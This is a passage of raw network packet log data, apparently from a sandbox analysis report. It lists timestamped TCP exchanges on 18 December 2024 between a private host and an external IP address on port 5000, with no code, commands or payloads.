Dec 18, 2024 11:40:32.430068970 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.472664118 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.562315941 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.562335014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.562414885 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.562683105 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.562696934 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.562741041 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.563709021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.563724041 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.563761950 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.564568996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.565563917 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.565576077 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.565617085 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.565650940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.565999031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.566785097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.567985058 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.567997932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.568105936 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.568583012 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.568593025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.568638086 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.569550037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.569561958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.569591045 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.570519924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.570544958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.570635080 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.571567059 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.571578979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.571611881 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.572542906 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.572555065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.572835922 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.573537111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.573549032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.573586941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.573669910 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.573704004 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.574608088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.574620962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.574774027 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.575584888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.575598001 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.575656891 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.576735020 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.576747894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.576927900 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.577682972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.577698946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.577747107 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.578706980 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.578718901 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.578774929 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.579879999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.579891920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.579927921 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.580935001 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.580945969 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.580990076 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.582039118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.582052946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.582118034 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.583024979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.583038092 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.583327055 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.583822012 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.583837032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.583874941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.584510088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.584522963 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.584563971 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.585540056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.585551977 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.585592031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.586548090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.586560011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.586596966 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.587615967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.587627888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.587668896 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.588619947 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.588632107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.588671923 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.589502096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.589514971 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.589551926 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.590538025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.590550900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.590604067 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.591344118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.592387915 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.592401028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.592436075 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.592822075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.592869043 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.593482971 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.593496084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.593530893 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.594626904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.594638109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.594693899 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.595367908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.596350908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.596363068 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.596400023 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.597347021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.597359896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.597409964 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.597723961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.597857952 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.598351955 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.598783016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.598886013 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.599467993 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.599479914 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.599627972 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.600533009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.600545883 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.600595951 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.601304054 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.602123976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.602461100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.602474928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.602513075 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.602513075 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.603368998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.603410959 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.603534937 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.604398012 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.605284929 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.605300903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.605407953 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.605930090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.605979919 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.606360912 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.606381893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.606430054 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.607284069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.608304977 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.608325958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.608345032 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.609231949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.609246969 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.609471083 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.609668016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.609713078 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.610393047 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.610409975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.611644983 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.618684053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.618746042 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.618793011 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.619115114 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.619173050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.619213104 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.620187998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.620342016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.620388985 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.621113062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.675569057 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.753367901 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.753467083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.753582954 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.753604889 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.753696918 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.753746033 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.754731894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.754832983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.754914999 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.755369902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.755517006 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.755582094 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.756369114 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.756472111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.756522894 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.757289886 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.757368088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.757453918 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.758320093 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.758481026 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.758531094 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.759294033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.759382963 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.759478092 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.760284901 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.760376930 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.760459900 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.761316061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.761409044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.761538982 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.762257099 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.762361050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.762422085 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.763235092 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.763339996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.763416052 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.764312029 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.764350891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.764421940 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.765211105 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.765355110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.765397072 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.766273022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.766371012 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.766422987 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.767229080 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.767352104 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.767421007 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.768234015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.768359900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.768404961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.769212008 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.769305944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.769361973 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.770212889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.770323992 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.770446062 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.771325111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.771337986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.771399975 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.772207022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.772257090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.772315979 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.773164988 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.773277044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.773338079 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.774184942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.774369001 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.774441004 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.775146961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.775207043 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.775321960 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.776161909 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.776251078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.776312113 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.777168989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.777252913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.777365923 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.778126955 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.778306007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.778357983 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.779160976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.779285908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.779342890 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.780111074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.780244112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.780318975 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.781249046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.781296015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.781407118 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.782082081 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.782210112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.782269001 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.783078909 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.783201933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.783289909 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.784070015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.784322977 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.784377098 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.785073042 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.785188913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.785260916 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.786077023 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.786170006 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.786231041 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.787043095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.787172079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.787286043 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.788062096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.788157940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.788244963 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.789025068 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.789128065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.789192915 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.790024996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.790159941 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.790215969 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.791111946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.791244984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.791316986 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.792082071 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.792188883 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.792433023 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.793030024 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.793076038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.793266058 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.793977976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.794157028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.795013905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.795176983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.795216084 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.795269966 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.796021938 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.796134949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.796184063 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.796977997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.797055006 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.797327995 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.798011065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.798059940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.798106909 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.798937082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.799082994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.799130917 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.800128937 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.800195932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.800401926 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.801235914 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.801280022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.801340103 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.802015066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.809835911 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.809856892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.810075045 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.810113907 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.810113907 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.810120106 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.811064005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.811150074 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.811244011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.812252045 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.812294006 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.812382936 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.863009930 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.944535971 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.944554090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.944777966 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.944935083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.945072889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.945123911 CET	49705	5000	192.168.2.5	194.59.30.220
